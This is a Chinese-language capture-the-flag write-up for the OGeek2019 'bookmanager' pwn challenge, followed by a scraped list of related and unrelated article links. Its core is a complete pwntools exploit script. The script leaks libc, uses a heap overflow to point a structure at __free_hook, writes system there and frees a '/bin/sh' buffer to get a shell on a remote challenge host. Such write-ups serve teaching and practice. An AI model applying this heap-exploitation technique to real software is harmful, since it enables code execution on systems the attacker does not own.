[OGeek2019]bookmanager
做过的代码量最大的一个题
说出的好也好,不好也不好,利用点很简单,就是一个大规模的heapoverflow,就是逆起来有点儿难度
思路很简单,就是利用堆溢出覆盖结构体中的指针为__free_hook,然后改freehook
给整吐了,做了俩小时,然后本地到了最后一步,freehook每次内容都是一个奇怪的值,就是改不了system,然后远程一打就通了-.-||
1 from pwn import *
2
3 local = 0
4
5 binary = "./pwn"
6
7 if local == 1:
8 p = process(binary)
9 else:
10 p = remote("node3.buuoj.cn",27329)
11
12 def dbg():
13 context.log_level = 'debug'
14
15 context.terminal = ['tmux','splitw','-h']
16
17 def create_book(name):
18 p.sendafter('Name of the book you want to create:',name)
19
20 def add_chapter(name):
21 p.sendlineafter('Your choice:','1')
22 p.sendafter('Chapter name:',name)
23
24 def add_section(chapter_name,name):
25 p.sendlineafter('Your choice:','2')
26 p.sendafter('Which chapter do you want to add into:',chapter_name)
27 p.sendafter('Section name:',name)
28
29 def add_text(section_name,size,name):
30 p.sendlineafter('Your choice:','3')
31 p.sendafter('Which section do you want to add into:',section_name)
32 p.sendafter('How many chapters you want to write:',str(size))
33 p.sendafter('Text:',name)
34
35 def remove_chapter(chapter_name):
36 p.sendlineafter('Your choice:','4')
37 p.sendafter('Chapter name:',chapter_name)
38
39 def remove_section(section_name):
40 p.sendlineafter('Your choice:','5')
41 p.sendafter('Section name:',section_name)
42
43 def remove_text(section_name):
44 p.sendlineafter('Your choice:','6')
45 p.sendafter('Section name:',section_name)
46
47 def show():
48 p.sendlineafter('Your choice:','7')
49
50 def edit_text(sectionname,newname):
51 p.sendlineafter('Your choice:','8')
52 p.sendlineafter('What to update?(Chapter/Section/Text):','Text')
53 p.sendafter('Section name:',sectionname)
54 p.sendafter('New Text:',newname)
55
56 def edit_section(old_sectionname,newname):
57 p.sendlineafter('Your choice:','8')
58 p.sendlineafter('What to update?(Chapter/Section/Text):','Section')
59 p.sendafter('Section name:',old_sectionname)
60 p.sendafter('New Section name:',newname)
61
62 libc = ELF('./libc-2.23.so')
63
64 create_book('lemon')
65
66 print "==== step1: leak libc ===="
67 add_chapter('one')
68 add_section('one','c' * 8)
69 add_text('c' * 8,0x80,'d' * 8)
70
71 add_chapter('\x01')
72
73 remove_text('cccccccc')
74 add_text('cccccccc',0x80,'aaaaaaaa')
75 show()
76 __malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10
77 libc_base = __malloc_hook - libc.sym['__malloc_hook']
78 __free_hook = libc_base + libc.sym['__free_hook']
79 system = libc_base + libc.sym['system']
80 print "libc base: ",hex(libc_base)
81
82 print "==== step2: heapoverflow make heap pointer to free hook ===="
83 add_text('cccccccc',0x10,'\x01')
84 payload = '/bin/sh\x00' + 'a' * 8 + p64(0) + p64(0x41) + 'dddddddd' + p64(0) * 3 + p64(__free_hook)
85 add_section('one','dddddddd')
86 #dbg()
87 edit_text('cccccccc',payload)
88 edit_text('dddddddd',p64(system))
89 remove_text('cccccccc')
90
91 #gdb.attach(p)
92 p.interactive()

[OGeek2019]bookmanager的更多相关文章
- execution(* *..BookManager.save(..))的解读
execution(* *..BookManager.save(..))的解读: 第一颗* 代表ret-type-pattern 返回值可任意, *..BookManager 代表任意Pacakge里 ...
- [BUUCTF]PWN7——[OGeek2019]babyrop
[BUUCTF]PWN7--[OGeek2019]babyrop 题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop 步骤: 例行检查,32位,开启 ...
- buuctf@[OGeek2019]babyrop
#!/usr/bin/python #coding:utf-8 from pwn import * #context.log_level = 'debug' io = process('./pwn', ...
- 张高兴的 UWP 开发笔记:横向 ListView
ListView 默认的排列方向是纵向 ( Orientation="Vertical" ) ,但如果我们需要横向显示的 ListView 怎么办? Blend for Visua ...
- AIDL使用解析
简书本文地址:点击跳转到简书查看 之前面试的时候被问到这个问题,然而当时只有一个大致的印象,随GG,于是我就重新整理的一下.这里大力推荐<Android开发艺术探索>这本书,写的太好了! ...
- Android 进程通信机制之 AIDL
什么是 AIDL AIDL 全称 Android Interface Definition Language,即 安卓接口描述语言.听起来很深奥,其实它的本质就是生成进程间通信接口的辅助工具.它的存在 ...
- 设计模式之美:Manager(管理器)
索引 意图 结构 参与者 适用性 效果 实现 实现方式(一):Manager 模式的示例实现. 意图 将对一个类的所有对象的管理封装到一个单独的管理器类中. 这使得管理职责的变化独立于类本身,并且管理 ...
- Lucene.net站内搜索—6、站内搜索第二版
目录 Lucene.net站内搜索—1.SEO优化 Lucene.net站内搜索—2.Lucene.Net简介和分词Lucene.net站内搜索—3.最简单搜索引擎代码Lucene.net站内搜索—4 ...
- 轻松掌握:JavaScript享元模式
享元模式 在JavaScript中,浏览器特别是移动端的浏览器分配的内存很有限,如何节省内存就成了一件非常有意义的事情.节省内存的一个有效方法是减少对象的数量. 享元模式(Flyweight),运行共 ...
随机推荐
- python爬取链家二手房信息,确认过眼神我是买不起的人
前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理. PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取 python免费学习资 ...
- shellcode注入原理
我们直接写入可能无法执行 unsigned char data[130] = { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, ...
- 趣图:我说自己菜 vs 大佬说自己菜
扩展阅读 一大波趣图:CSS的力量 趣图:嫁人就嫁程序员,大妈都懂的! 趣图:向客户介绍的产品VS实际开发的产品 如何准备校招技术面试+一只小菜鸟的面试之路 向Spring大佬低头--大量源码流出 ...
- 获取NX一组属性
NX中的属性是可以分组的,有时我们想获取某一个组下的所有属性,但是NX封装的接口不够好用,因此在此基础上,我封装了一个,供大家参考: 1 //属性值是字符串类型,obj对象tag,category组名 ...
- 吴恩达-机器学习+正则化regularization
- 论文阅读 SNAPSHOT ENSEMBLES
引入 1. 随机梯度下降的特点 随机梯度下降法(Stochastic Gradient Descent)作为深度学习中主流使用的最优化方法, 有以下的优点: 躲避和逃离假的鞍点和局部极小点的能力 这篇 ...
- 目标检测:SSD算法详解
一些概念 True Predict True postive False postive 预测为正类 False negivate True negivate 预测为负类 真实为 ...
- 我的Keras使用总结(5)——Keras指定显卡且限制显存用量,常见函数的用法及其习题练习
Keras 是一个高层神经网络API,Keras是由纯Python编写而成并基于TensorFlow,Theano以及CNTK后端.Keras为支持快速实验而生,能够将我们的idea迅速转换为结果.好 ...
- Axure实现vcg官网首页原型图
W240第二天第三天 Axure的简单使用: 作业实现:vcg官网首页原型图 帮助文档基础篇:原型图基础之axure线框图设计 导航栏设计: 添加通用母版header 导航栏设计注意: 鼠标移动到下面 ...
- shell-批量修改文件名及扩展名多案例
1. 功能描述如下表: 批量文件改名案例实战: 问题1: 创建测试数据 [root@1-241 tmp]# for i in `seq 6`;do touch stu_161226_${i}_fin ...